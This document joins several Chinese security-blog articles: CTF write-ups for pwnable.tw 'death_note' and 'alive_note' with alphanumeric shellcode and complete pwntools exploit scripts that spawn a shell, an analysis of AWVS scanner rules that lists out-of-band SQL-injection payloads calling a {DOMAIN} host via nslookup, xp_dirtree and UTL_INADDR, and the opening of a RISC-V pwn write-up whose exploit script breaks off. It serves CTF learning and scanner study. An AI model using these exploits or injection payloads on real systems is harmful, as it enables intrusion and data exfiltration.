xor al,0x41
xor al,0x40
同时，这段代码可以作为滑板，一直执行
1. 构造ecx=0
push edx
pop ecx
1. 最主要要构造int 0x80，先将前面的shellcode拼接起来，具体怎么个顺序可以自行调整，不过要清楚寄存器没有被破坏
我构造了这样的顺序
push ecx
pop eax
xor al,0x41
xor al,0x40
push edx
pop ecx
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
最前面来构造int 0x80,因为此时堆块地址还未被破坏，
push eax #堆块地址
pop ebx #保存堆块地址到ebx
push edx
pop eax
dec eax #构造0xff
xor al,0x46 #al = 0xb9
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
这里要注意的是ebx+0x35这是我自行构造出来的，通过这一段当作滑板，构造出可见字符常数
push ecx
pop eax
xor al,0x41
xor al,0x40
所以最后就是
push eax #堆块地址
pop ebx #保存堆块地址到ebx
push edx
pop eax
dec eax #构造0xff
xor al,0x46 #al = 0xb9
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push edx
pop ecx
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
最后加上'\x74\x39'这个，拿来构造int 0x80的，就好了
#### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './death_note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")
# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))
# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
def c(idx):
sla(":", idx)
def new(idx, content):
c(1)
sla(":", idx)
sla(":", content)
def delete(idx):
c(3)
sla(":", idx)
def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
#start here
offset = (elf.got['free']-0x0804A060)/4
#ga("b *0x8048865\nc\nn 4\ns")
shellcode = asm('''
push eax
pop ebx #保存指针
push edx
pop eax
dec eax
xor al,0x46
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx #这里作为滑板，填充数据
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx # set al=0xb
pop eax
xor al, 0x41
xor al, 0x40
push edx # set ecx=0
pop ecx
push 0x68 # push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
''')
lg("len", len(shellcode))
shellcode += '\x74\x39'
new(offset, shellcode)
delete(offset)
ia()
if __name__ == '__main__':
exp(host,)
### alive_note
#### 漏洞利用
自己利用还是不会，我感觉这题比那个note-service2难多了，讲真，这题考的纯字母数字shellcode在加上shellcode链构造，这是目前我遇到的最难的shellcode题目了
照着shellcode分析一遍，将过程梳理下
整体思路是通过构造shellcode链， 然后read(0,heap,size),读入shellcode执行， 这样就可以有非限制字符了
1. 确认需要读取的heap,我们可以将heap设置为我们已执行过的shellcode链的堆块，也就是说执行前的堆块都行，我们就用第1个堆块
2. 我们要执行int 80软中断，read是eax=3,ebx=0,ecx=heap,edx=size
3. 首先我们可以获得的是ecx，因为free调用的时候会传入heap地址，所以第一步设置ecx,这里经过测试发觉free的堆块地址会放到eax里，同时还有空闲字节设置edx=size
push eax
pop ecx
push 0x7a
pop edx
push ebx
jne 0x3a #因为跳到0x38处，要减去2，指令长度为2
发觉jne的0x不好选，因为题目有限制，看限制
**顺序: 1- >5->2->6->4**
['0x0', '0x20', '0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', '0x49', '0x4a', '0x4b', '0x4c', '0x4d', '0x4e', '0x4f', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x5a', '0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x70', '0x71', '0x72', '0x73', '0x74', '0x75', '0x76', '0x77', '0x78', '0x79', '0x7a']
所以我们选的常数要在这个范围里面，0x7a就是因为他是最大的，所以我们就选了edx为0x7a,最好选的就是0x38左右，为什么，我第一个shellcode长度为8
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #堆块1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #堆块5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
以这个为例子就是填充到0x10处,所以最小的限制字符就是0x30开头了，那就跳到0x48处,
jne跳转计算为0x48-0x10=0x38,所以第一个跳就是jne 0x3a,因为要-2,这个机器码对应的才是跳0x38
1. 我跳转到了第5块堆块，然后又要跳回来的话，就要设置大于0x80大小的值(因为0x80前是正数，0x80后才是负数),所以有
>>> hex(0x18-0x4d & 0xff)
'0xcb'
所以jne 0xcb是我们想要的结果，然后这个对应的机器码为75C9，其实0xcb可以不用计算器算，用 **吾爱工具跳转指令计算器0.4b**
计算的我是，找了好久才用他，输入0x4d和0x18 就出来了，接下来将C9转换成可见字符，
xor byte ptr[ecx+0x46]
>>> hex(0x4e-0x8)
'0x46'
是0x46,这里就是计算那个偏移了ecx是堆块0，然后偏移
pop eax
dec eax #eax变为0xffffffff
xor byte ptr[ecx+0x46],al #合起来5个字节 0x46上面刚计算
jne 0xcb # 这里是75C9,转变C9与0xff异或为0x36所以最终为7536
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
1. 接下来本应该是第2块堆块了
参数已经设置好了，现在最主要要构造int 0x80了，所以就是xor变成int 0x80
我们将int 0x80放在最后一个执行的堆块里，就是第4块堆块，所以还是得先设置第四块
1. 设置第四块
参数还要设置eax为0x3,所以先将eax变为0，
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #本来是\xcd\x80，两个都不可见，所以要将其变为可见，回到第二块堆块
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
1. 再次回到第二块堆块
xor al,0x46 #al=0xb9
xor byte ptr[ecx+0x35],al
push ebx #为第四块的pop eax做准备
jne 0x3a #同理跳到第六块去
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x80
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
1. 第六块堆块了
先将堆块4改了
xor byte ptr[ecx+0x36],al #int 0x80设置好了,3个字节
xor byte ptr[ecx+0x57],al # 在三个字节，将d8转化 0x5f-0x8
jne 0xda #0x5e跳到0x38, 原机器码75d8,d8转为61,所以变为7561
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x39
>>> hex(0xb9^0x80)
'0x39'
0x0: 0x00000000 0x00000011 0x31000000 0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成
0x20: 0x00000000 0x00000011 0x33000000 0x00000000 #3随便填充就好
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000 #6完成
1. 将这些汇编代码转为可见字符，这里我用ollydbg加跳转指令计算器
第一段:
>>> p64(0x3875535a7a6a5950)
'PYjzZSu8'
PYjzZSu8
第二段:
>>> p64(0x3875533541304634)
'4F0A5Su8'
4F0A5Su8
第三段: 随便
第四段:
>>> p64(0x39743034333458)
'X4340t9\x00'
X4340t9
第五段:
>>> p64(0x36754641304858)
'XH0AFu6\x00'
XH0AFu6
第六段:
>>> p64(0x6175574130364130)
'0A60AWua'
PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua
1. 做完这些过后，填充前面的，然后shellcode就行，位置0x38+7-0x8=0x37
所以就是’a'*0x37 + asm(shellcraft.sh())
#### 执行过程
至于执行过程呢，free(offset),然后就开始执行free_got表里的shellcode，也就是offset处的shellcode，接着跳来跳去就完成了
还有就是没必要跟我一样挑难的来，网上好多大佬都是中间用三个堆块填充，这样跳转不用计算来计算去，那样好算点，我是为了复习汇编加理解原理搞复杂的
#### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from pwn import *
local = 1
host = '127.0.0.1'
port = 10000
#context.log_level = 'debug'
exe = './alive_note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")
# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")
if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()
# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))
# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
def fuzz(char):
new(0, char)
show(0)
print(rl())
List = [0, 32, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
List = [chr(i) for i in List]
def checkPayload(payload):
for i in payload:
if i in List:
return False
return True
def c(idx):
sla(":", idx)
def new(idx, name):
c(1)
sla(":", idx)
if checkPayload(name):
print("payload is wrong")
exit(0)
else:
sla(":", name)
def show(idx):
c(2)
sla(":", idx)
def delete(idx):
c(3)
sla(":", idx)
def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
#start here
'''
PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua
'''
# offset = free_got - heap
offset = (0x0804a014-0x0804A080)/4
ga("b *0x080488DC\n c\nn 4\ndelete\ns\n")
new(offset, 'PYjzZSu8')
new(0, '4F0A5Su8')
new(1, '11111111')
new(2, 'X4340t9')
new(3, 'XH0AFu6')
new(4, '0A60AWua')
delete(offset)
s(0x37*'a' + asm(shellcraft.sh()))
#ga()
ia()
if __name__ == '__main__':
# fuzz the input name
'''
List = []
for i in range(0, 128):
try:
fuzz(chr(i))
io.close()
List.append(i)
except Exception as e:
print(e)
finally:
io = process(exe)
print(List)
'''
exp(host,)
## 总结
1. shellcode编写难度其实还是挺大的，最主要是数学计算问题，计算偏移跳转那些确实得非常精细
2. shellcode题目类型其实也不多，手写的难度大，在菜鸡比赛中应该比较少出现，大部分是那种工具生成的，毕竟手写汇编太耗时了?(师傅们几分钟写完，我等瑟瑟发抖)
3. shellcode链这种思路我还没编写过，这次学到了，大佬们tql
4. xor byte ptr[ecx+0x35],al 这种改int 0x80也是刚学到
## 参考链接
[DoubleLabyrinth师傅](https://github.com/DoubleLabyrinth/pwnable.tw/blob/master/Alive%20Note/solve.py)
[p4nda师傅的博客(听过师傅好久了，没机会认识)](http://p4nda.top/2018/05/13/ciscn-ctf-2018/) | 社区文章 |
作者：[wilson@美丽联合安全](http://blog.wils0n.cn/archives/145/ "wilson@美丽联合安全")
#### 一）前言
最近对awvs进行一些简单研究，众所周知awvs的非常好用的扫描器。强大的爬扫能力让很多人很喜欢他，不过强大的话也对应有它的缺点，第一，体积庞大，扫描耗时间太久；第二，无法跨平台，只能让windows来用。不过这个几个缺点对这个牛逼的扫描器貌似也没啥影响，还是很多人爱用。
不过对扫描器来说核心还是规则，我们还是可以重点分析一下awvs的扫描规则。
#### 二）咋分析？
###### 1.搭建环境，抓流量进行分析
一个web狗，不会分析二进制。所以我只能抓包来分析了。
搭建一个漏洞url地址（这里只要一个url就够了，多了payload就太多不好分析了）用burp来抓，设置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中在设置一下扫描器的使用的代理地址为burp就可以开心的抓包了。
简单的抓包,可以大体的看成来awvs都做哪些扫描，而且我们可以找到一些马上可以用规则，比如破壳漏洞，文件读取，备份文件扫描，敏感文件扫描，ssrf，头注入等等。
###### 2.script源码分析和调试
但是分析了一波流量，还是感觉很多payload找不到规则(比如sql注入的逻辑，jboss的漏洞匹配规则等等)。于是看了一下awvs的安装目录发现有一个data/scripts目录，里面有很多加密的文件，不用说了一定是扫描规则。
于是开始在网上找有没有人做过这个的相关破解工作，发现还真有:
<http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/>
<http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/>
问了一下博主要了一下规则，他就直接把规则同步github <https://github.com/c0ny1/awvs_script_decode>
这种“前人种树，后人乘凉”的感觉还是很舒服的，所以自己以后也要多种种”树“.
打开规则一开全是类似javascript的脚本，直接看还是有点难懂。如果最好能运行并调试起来就美滋滋了。去搜索了一下官方的关于script的文档发现，awvs提供了编写script脚本的接口。
<http://www.acunetix.com/download/tools/WVSSDK.zip>
解压以后里面有一个使用文档，根据文档就明白很多了。
根据文档我们可以知道:
1.awvs提供了wvs scripting程序给我们进行自定义的脚本编写，我们可以用它来对这些脚本进行调试，(只需要把这个文件拷贝到awvs的安装目录即可)。
2.awvs 提供了script可用api，在https://www.acunetix.com/resources/sdk/种可以进行查看。
3.script的几个脚本目录是根据扫描的特点进行分类的：
3.1.includes 头文件，用于常量声明，生产随机数 和md5加密等等，很多扫描的匹配规则会在这里定于这个文件
3.2.network 主机的漏洞扫描 个人感觉非重点 比较avws是搞web扫描出名的。
3.3.PerFile 在文件名上的加payload测试，比如根据文件名扫备份文件扫描，破壳漏洞扫描等，个人理解就是根据uri进行一些参数扫描
3.4.PerFolder 根据目录型的url 进行一些扫描 比如敏感目录泄漏扫描，敏感文件泄漏扫描，git泄露扫描等。
3.5.PerScheme awvs将有参数传递的url称为Scheme，所以这个目录就是在各个参数传入点设置扫描payload进行对应的漏洞测试。比如命令执行漏洞，代码执行漏洞，xss漏洞扫描，sql漏洞扫描等等。（我们可以在这个目录中学到很多规则和漏洞扫描姿势。）
3.6.PerServer 一般用于测试第三方中间件，包括指纹识别，只最开始扫描的时候进行一次。比如Flask_Debug 打开，jboss各种漏洞，tomcat各种漏洞等。
3.7 WebApps 第三方cms漏洞扫描。比如wordpress的漏洞扫描，joolma漏洞扫描等等
下面以/Scripts/PerFile/Bash_RCE.script作为一个调试案例：
使用wvs scripting打开/Scripts/PerFile/Bash_RCE.script文件。
点击小齿轮，设置扫描目标：
这里比较蛋疼就是不能直接输入扫描的目标（反正我没找到），需要去load一下awvs爬虫保存的.cwl文件。我们在awvs上简单爬一下扫描的目标，然后保存成xxx.cwl。再通过wvs
scripting去load这个文件。
最后是运行，这里具体根据script来确定set target的什么类型，比如Bash_RCE.script，中用了var file =
getCurrentFile()，你就需要set file target，最后run per file。（当然还有其他的就不再举例子了)
到这里我们就可以跑起每个脚本进行运行调试了，能跑起来，我们就可以去logInfo一些东西，这样去看脚本都做哪些操作就简单多了。
tip:那么我们可以一个一个目录的去分析每个脚本，当然也有一个小技巧去提前分析高危的扫描脚本。那就是先用awvs去扫一下他的测试站点:<http://testphp.vulnweb.com/>
,awvs会告诉你是哪个脚本发现的漏洞和且匹配到的内容，这样我们就挑选自己最先想研究的漏洞来看。(不过要注意这个testphp测试站点，awvs默认启动了AcuSensor
Technology技术
<https://www.acunetix.com/vulnerability-scanner/acusensor-technology/>
如果你要用它做测试站点的话，代码逻辑会走到acusensor对应的代码)
#### 三）从awvs学到啥
###### 1.扫描方式
awvs在扫描前，都会对url进行的详细的分类和参数的解析。常见为:file,folder,scheme等类型。几乎每种类型的url都会有一个目录对他进行专门的漏洞扫描。
在扫描前对url进行比较细致的分类是可以学习一波的，特别是对scheme类型的url进行参数解析。大部分的扫描都会有这部分的参数解析，不过一般都是类似于(a=b&c=1的这种解析)，但是如果参数是json格式的(b=1&c={"uname":"wilson","id":"23333"})
,很多扫描器不支持，不过大家可以参加一下sqlmap的json格式解析(walk方法，<https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/common.py>)
至于每种类型的url都会有一个目录对它进行专门的漏洞扫描方式的话，你也可能选择用一个脚本去处理一类漏洞类型，然后对这个漏洞类型可能在哪种url类型出现进行测试。
###### 2.规则，大把大把的规则
看到代码最大的好处就是可以看到他的匹配正则了，比如敏感部署文件备份匹配规则，任意文件读取规则，sql报错注入关键字匹配，命令执行等等。
更多规则见脚本。
###### 3.AcuMonitor 技术
<https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/>
这东西简单理解就是和你的dnslong一样的，适用于扫描无回显的漏洞，比如：
Blind Server-side XML/SOAP Injection
Blind XSS (also referred to as Delayed XSS)
Host Header Attack
Out-of-band Remote Code Execution (OOB RCE)
Out-of-band SQL Injection (OOB SQLi)
SMTP Header Injection
Server-side Request Forgery (SSRF)
XML External Entity Injection (XXE)
我们可以在脚本中找到他们的规则：
那么重点是怎么把漏洞和对应url关联??
我的处理是让漏洞服务器发起http请求，将urlid带到uri中，比如
<http://blog.wils0n.cn/urlid/param/cveid>
根据这uri中的urlid进行定位url参数。但是这样会还是会有一些漏扫，比如ssrf只出现在http的host中，uri并不会带入请求。
所以比较准确一个是使用dns来做。例如:nslookup dns.urlid-param-cveid.wils0n.cn，在服务端上根据urlid-param-cveid来处理漏洞。
关于dnslog service的搭建：
使用方法一)一个服务器
工具：https://github.com/Wyc0/DNSLog/blob/master/dns.py(简单，一个脚本就够了)
触发方法：nslookup urlid-param-cveid.wils0n.cn 服务器的ip
这种方法必须指定后面的ip。
使用方法二）一个服务器加一个域名：
域名设置(请教了@izy和@凤凰)
用阿里云的为例子：
1.设置一个a记录。ns1.wils0n.cn --->你的服务ip假如 118.11.11.11
2.设置一个ns记录。 dns.wils0n.cn --->ns1.wils0n.cn
存在的问题：
问题1）没有响应包回复，导致请求会一直发，可以参考<https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py>
进行改进一下。
问题2)
url跳转扫描可能会导致误报的情况出现，由于dns请求会绕过很多跳，所以根据扫描ip来判断是无法做到，暂时不知道怎么解决。。。不过误报会比漏报好一些
###### 4.awvs的网站目录和文件扫描思路
很多web扫描器的开始都是对url进行网站目录和文件扫描，然后再结合爬虫一起爬一下。
因为大家的想法都是：“不管有没有漏洞，我先扫一遍目录再说”，所以网上这种爬目录文件的工具极其多。
看了一下网上的工具的逻辑大概是:
1.取一个不可能存在的url，判断是不是存在404的状态码。
存在的404话，下面的判断只要根据状态码来判断是否存在就好了。
不存在的话走下面2的逻辑。
2.获取该不存在url的相应内容，作为一个404不存在的页面标示，接下去的扫描如果获取到页面不和这个404表示一样的就认为是200的存在页面。
这个思路在大部分情况下面用。但是有些站点，你会发现扫到一堆200的误报。分析为什么：
在逻辑1中，404的判断取一个不存在的url是不够的，你需要取多个，因为有的站点xxxx.php是404，而xxxx.jsp就变成200了。
在逻辑2中，有种情况是这个404的页面是会不断变化的，比如淘宝的404页面中，下面会出现不同的链接商品推荐。这样就会产生一大堆的误报。
那么我们分析一下awvs的目录和文件扫描姿势:（Backup_File.script，Sensitive_Files.script,
Possible_Sensitive_Directories ,Possible_Sensitive_Files ）
第一）在Backup_File和Sensitive_Files中看到能用正则匹配的，先用规则来匹配，这个比较准确，误报低。
第二) Backup_File中我们发现，awvs的再解决逻辑2中出现的问题时候，用了一个小的tip:在发现页面内容和404标示不一样的时候，再去取了一个不存在的url2获取新的404标示，然后判断两个标示是不是一样，一样的话说明这个200扫描没用问题，从而去掉这个误报。
第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中，我们发现awvs去掉了逻辑2。只对存在404的url进行目录和文件扫描。而目录扫描和文件扫描的逻辑不一样的，我们发现当一个文件存在时候返回时200，但是当一个目录存在的时候确是302跳转，我们需要匹配http头的Location进行判断。那么网上那些扫描目录工具不就2b了么？
这里其实要说到一个坑，这些工具都是使用了python的requests库，这个库默认是会进行url跟随跳转的。所以他们没有必要区分扫描目录和文件扫描。如果你把requests中设置了allow_redirects=False，那你就要去自己匹配http头的Location关键字。
个人感觉扫目录逻辑走第一和第三就可以了。
###### 5.sql注入检查
可能很多人都会用sqlmap来做注入检查，但是sqlmap还是有点大，扫描payload比较多，扫描时间长。
awvs的sql注入也可以参考一下:
###### 1.基于错误返回信息的关键字直接判断为存在sql注入漏洞。(Sql_Injection.script)
主要匹配的关键字有:
You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多大家去对应脚本里面找)
这样匹配的话，还是比较准确的，但是有的时候会有误报。
###### 2.盲注入(Blind_Sql_Injection.script)
2.1 bool型的盲注入
我把这部分的扫描逻辑理了一下，大概是这样的：
1. 判断参数是不是有效的，即：输入和原来的值不一样的参数时候，页面(过滤过的，过滤了html标签，当前输入值，原始输入值)是否一样
2. 如果参数有效，就用 and payload 判断是不是存在漏洞(多个判断)
3. 如果参数无效，就用 or payload 判断是不是存在漏洞(多个判断)
我参考以后，发现它会有一些漏扫描，比如 数字型等带有单引号的注入。
然后我决定优化一下，并去掉第三步的验证。因为一般都无有效参数的，无效的参数一般不做检查了，而且or注入可能会导致一些误报等。
2.2 基于时间盲注入
原理很简单，然后数据库去sleep一段时间。payload对应脚本里面找，或者可以参考一下sqlmap的。
然后就是注意各种闭合，比如: ', ", ), )), '), "), ')), ")), ;, 等等
个人的实践告诉我，基于时间的注入检查是最准确的。如果你是甲方的话，基于时间盲注入应该是最适合你的了。因为你可以去监控mysql的慢日志或者异常日志去查询sleep登关键字来结合着一起发现sql注入漏洞，我在实践中是有用这种方法发现过一些比较隐蔽的sql注入的。
###### 3.结合AcuMonitor盲打
测试oracle的注入:
xxxx||UTL_INADDR.get_host_address('{DOMAIN}')
PostgreSQL:
{ORIGVALUE};copy (select '') to program 'nslookup {DOMAIN}
windows +mssql:
{ORIGVALUE};EXEC master..xp_dirtree '\\{DOMAIN}\' --
同样，也要注意各种闭合。
###### 6.xxe 优化
xxe漏洞检测，改变Content-type头（text/xml，application/xml），可能会测出漏洞。
更多脚本还在分析 .......
#### 四）结尾
很多挺好玩的漏洞扫描知识，因为文章篇幅和时间精力问题就没有进行更多分析了，大家可以自己去找自己感觉好用的script进行debug和逻辑分析。分析到好的思路也可以分享出来看看。
请勿用本文提到的技术进行未授权的渗透测试,我们不负任何连带法律责任
文章参考:
* <http://www.acunetix.com/>
* <http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/>
* <http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/>
* * * | 社区文章 |
# HarmonyOS和HMS专场CTF Risc-V Pwn题解
上周末抽空打了一下HarmonyOS和HMS专场CTF，做了两个Risc-V的Pwn题目。
## Risc-V分析方法
### 静态和动态分析
计算机指令集可以分为两种：复杂指令集和精简指令集。
复杂指令集以x86指令集最为常见，多用于传统桌面软件，善于处理复杂的计算逻辑。精简指令集有ARM、MIPS和Risc-V等。ARM广泛应用于移动手持终端以及IoT设备，但是ARM指令集虽然开放但是授权架价格太高，而Risc-V是一套开源的精简指令集架构，企业可以完全免费的使用。
目前来讲，现有的工具链已经足以支持Risc-V的逆向分析。
在静态分析层面，Ghidra 9.2对于Risc-V的反编译效果不错（IDA 7.5尚不支持Risc-V），所以静态分析Risc-V用ghidra已经足够。
在动态调试层面，qemu已经集成了risc-v架构，可以支持该架构的模拟运行。在有lib的情况下，通过QEMU用户模式，添加`-L`参数选择lib路径，通过`-g`指定调试端口。在gdb高版本中，已经可以支持risv架构，同时配合gef插件，设置target
remote连接QEMU的调试端口：
可以对risc-v进行正常的调试，包括下断点，查看内存等常见功能。
解决了工具链的问题，在逆向层面来讲，已经大大的降低了risc-v分析的门槛。为了更好的进行漏洞挖掘与利用，需要稍微学习一下risc-v的函数调用规则和指令集。
## Risc-V函数调用约定
Risc-V函数调用也是基于寄存器和栈的，每次函数调用时优先利用寄存器传参，如果寄存器无法满足需求再利用栈传参。Risc-V寄存器种类和数量如下表所示：
在参数保存之后，通过`jal`指令跳转到函数开始执行。jal指令的规范为：
jal ra, offset
将会把下一条指令(pc+4)地址存放到ra寄存器中，然后跳转到当前地址+offset位置开始执行。
在子函数中，将会把ra寄存器存放到栈上，在函数返回时从栈上恢复ra寄存器，这里也就`存在栈溢出的机会`。
我们以下面这段代码作为demo：
#include <stdio.h>
int add1(int m ,int n)
{
return m + n ;
}
int add2(int m ,int n)
{
char ss[10] = "hello";
printf("%s", ss);
return m + n ;
}
int main(){
int m = 2;
int n = 3;
int sum1 = add1(m , n);
printf("%d\n", sum1);
int sum2 = add2(m , n);
printf("%d\n", sum2);
return 0;
}
编译后看一下反汇编：
将参数mv到a0和a1寄存器上后，跳转执行add1函数：
此时add1函数并没有调用子函数，即为`叶子函数`，此时并不需要从栈中恢复ra寄存器。
而在add2中，在函数开始位置将ra寄存器存放到栈上：
在函数结束后从栈上恢复ra寄存器：
## harmoshell
这是一个简单的shell，可以支持`touch`、`ls`、`rm`等命令：
echo里面有一个栈溢出
这里的read有机会再0x30号文件的时候，输入0x200字节到栈上，但是`auStack320`只有264字节的长度，妥妥的栈溢出。同时echo功能也可输入写入到堆中：
考虑到该题目并没有NX，并且QEMU用户模式，堆没有随机化，所以漏洞利用，仅仅需要覆盖返回地址跳转到固定的堆地址上执行shellcode即可。
接下来需要解决Risc-V shellcode的问题，遗憾的是pwntools目前无法支持risc-v的shellcode生成，我们在shell
storm上面找的了一个例子，修改之后即可使用，最后的exp如下：
#coding=utf-8
from pwn import *
context.log_level = 'debug'
# context.binary = "harmoshell"
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()
def dbg( b ="source loadsym.py"):
gdb.attach(io , b)
raw_input()
def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
def menu(cmd):
ru("$ ")
sl(cmd)
def op_touch(file_name):
cmd = "touch " + file_name
menu(cmd)
def op_rm(file_name):
